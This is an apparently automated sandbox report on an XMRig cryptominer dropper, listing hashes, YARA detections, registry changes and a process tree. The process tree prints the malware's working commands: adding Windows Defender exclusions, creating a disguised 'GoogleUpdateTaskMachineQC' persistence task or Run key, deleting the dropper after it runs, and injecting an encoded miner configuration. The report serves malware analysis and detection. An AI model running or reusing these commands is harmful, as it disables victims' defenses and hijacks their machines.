xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1791s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 748 created 3452	748	Yvdp8t5knpQz7sFB.exe	53
PID 748 created 3452	748	Yvdp8t5knpQz7sFB.exe	53
PID 748 created 3452	748	Yvdp8t5knpQz7sFB.exe	53
PID 748 created 3452	748	Yvdp8t5knpQz7sFB.exe	53
PID 3104 created 3452	3104	updater.exe	53
PID 3104 created 3452	3104	updater.exe	53
PID 3104 created 3452	3104	updater.exe	53
PID 2072 created 3452	2072	conhost.exe	53
PID 3104 created 3452	3104	updater.exe	53

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral32/memory/3960-127-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-131-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-133-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-135-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-139-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-141-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-143-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-145-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-147-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-149-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-151-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-153-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-155-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-157-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-159-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-161-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-163-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-165-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-167-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-169-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-171-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-173-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-175-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-177-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-179-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-181-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig
behavioral32/memory/3960-183-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3104	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral32/memory/3960-121-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-127-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-131-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-133-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-135-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-139-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-141-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-143-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-145-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-147-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-149-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-151-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-153-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-155-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-157-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-159-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-161-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-163-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-165-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-167-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-169-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-171-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-173-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-175-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-177-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-179-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-181-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-183-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-185-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx
behavioral32/memory/3960-187-0x00007FF690E00000-0x00007FF6915F4000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3104 set thread context of 2072	3104	updater.exe	115
PID 3104 set thread context of 3960	3104	updater.exe	116

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Yvdp8t5knpQz7sFB.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2652	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
748	Yvdp8t5knpQz7sFB.exe
748	Yvdp8t5knpQz7sFB.exe
1504	powershell.exe
1504	powershell.exe
748	Yvdp8t5knpQz7sFB.exe
748	Yvdp8t5knpQz7sFB.exe
2700	powershell.exe
2700	powershell.exe
748	Yvdp8t5knpQz7sFB.exe
748	Yvdp8t5knpQz7sFB.exe
748	Yvdp8t5knpQz7sFB.exe
748	Yvdp8t5knpQz7sFB.exe
3340	powershell.exe
3340	powershell.exe
3104	updater.exe
3104	updater.exe
3908	powershell.exe
3908	powershell.exe
3104	updater.exe
3104	updater.exe
1464	powershell.exe
1464	powershell.exe
3104	updater.exe
3104	updater.exe
3104	updater.exe
3104	updater.exe
2072	conhost.exe
2072	conhost.exe
3104	updater.exe
3104	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeIncreaseQuotaPrivilege	2700	powershell.exe
Token: SeSecurityPrivilege	2700	powershell.exe
Token: SeTakeOwnershipPrivilege	2700	powershell.exe
Token: SeLoadDriverPrivilege	2700	powershell.exe
Token: SeSystemProfilePrivilege	2700	powershell.exe
Token: SeSystemtimePrivilege	2700	powershell.exe
Token: SeProfSingleProcessPrivilege	2700	powershell.exe
Token: SeIncBasePriorityPrivilege	2700	powershell.exe
Token: SeCreatePagefilePrivilege	2700	powershell.exe
Token: SeBackupPrivilege	2700	powershell.exe
Token: SeRestorePrivilege	2700	powershell.exe
Token: SeShutdownPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeSystemEnvironmentPrivilege	2700	powershell.exe
Token: SeRemoteShutdownPrivilege	2700	powershell.exe
Token: SeUndockPrivilege	2700	powershell.exe
Token: SeManageVolumePrivilege	2700	powershell.exe
Token: 33	2700	powershell.exe
Token: 34	2700	powershell.exe
Token: 35	2700	powershell.exe
Token: 36	2700	powershell.exe
Token: SeIncreaseQuotaPrivilege	2700	powershell.exe
Token: SeSecurityPrivilege	2700	powershell.exe
Token: SeTakeOwnershipPrivilege	2700	powershell.exe
Token: SeLoadDriverPrivilege	2700	powershell.exe
Token: SeSystemProfilePrivilege	2700	powershell.exe
Token: SeSystemtimePrivilege	2700	powershell.exe
Token: SeProfSingleProcessPrivilege	2700	powershell.exe
Token: SeIncBasePriorityPrivilege	2700	powershell.exe
Token: SeCreatePagefilePrivilege	2700	powershell.exe
Token: SeBackupPrivilege	2700	powershell.exe
Token: SeRestorePrivilege	2700	powershell.exe
Token: SeShutdownPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeSystemEnvironmentPrivilege	2700	powershell.exe
Token: SeRemoteShutdownPrivilege	2700	powershell.exe
Token: SeUndockPrivilege	2700	powershell.exe
Token: SeManageVolumePrivilege	2700	powershell.exe
Token: 33	2700	powershell.exe
Token: 34	2700	powershell.exe
Token: 35	2700	powershell.exe
Token: 36	2700	powershell.exe
Token: SeIncreaseQuotaPrivilege	2700	powershell.exe
Token: SeSecurityPrivilege	2700	powershell.exe
Token: SeTakeOwnershipPrivilege	2700	powershell.exe
Token: SeLoadDriverPrivilege	2700	powershell.exe
Token: SeSystemProfilePrivilege	2700	powershell.exe
Token: SeSystemtimePrivilege	2700	powershell.exe
Token: SeProfSingleProcessPrivilege	2700	powershell.exe
Token: SeIncBasePriorityPrivilege	2700	powershell.exe
Token: SeCreatePagefilePrivilege	2700	powershell.exe
Token: SeBackupPrivilege	2700	powershell.exe
Token: SeRestorePrivilege	2700	powershell.exe
Token: SeShutdownPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeSystemEnvironmentPrivilege	2700	powershell.exe
Token: SeRemoteShutdownPrivilege	2700	powershell.exe
Token: SeUndockPrivilege	2700	powershell.exe
Token: SeManageVolumePrivilege	2700	powershell.exe
Token: 33	2700	powershell.exe
Token: 34	2700	powershell.exe
Token: 35	2700	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 404	3916	cmd.exe	99
PID 3916 wrote to memory of 404	3916	cmd.exe	99
PID 3340 wrote to memory of 4892	3340	powershell.exe	103
PID 3340 wrote to memory of 4892	3340	powershell.exe	103
PID 3104 wrote to memory of 2072	3104	updater.exe	115
PID 960 wrote to memory of 2652	960	cmd.exe	113
PID 960 wrote to memory of 2652	960	cmd.exe	113
PID 3104 wrote to memory of 3960	3104	updater.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3452
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3340
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1464
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    PID:2652
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2072
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3960

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:404

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 727KB
SHA256 8ee88281ee6706312f275c240bb85eb4142aa74be2c4dcf2dae21f44f3000bea
MD5 6a2e56bcb62680b70f0c7b8a2f52ee8c
SHA1 74ed5d0a89fae4e29857b42994f2a5faef16088e
SHA512 332d46aff4c4d9901679272e77c19bf61d20f3aa716ea420a0762a6f3c495f8107075f0db69cfc49b47e9f22df54fd493c5246c91bb86b8e01f8c067e703877b
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNhd7iG9:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iI
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.3MB
SHA256 bfb35f94a3245c443815b31778a4cc4c462fc8c8d820d62874a2aded4fe7a4ff
MD5 09ae47e0101208aac7e4cf8421b43772
SHA1 f1eecb4b29a35ebbedcb9311acb02a04eb278418
SHA512 6fd3c9f78f4359ad1d84a1af69a0ed58ecc382478fbb3bbd33128baa1988d3d8fb588b447b073aa614ee898ce167382f3b8b069e4c11d35b743bfd822a118893
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYP:rWVipAxqo5p88CbXuxWQiSJU320ZW21i
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
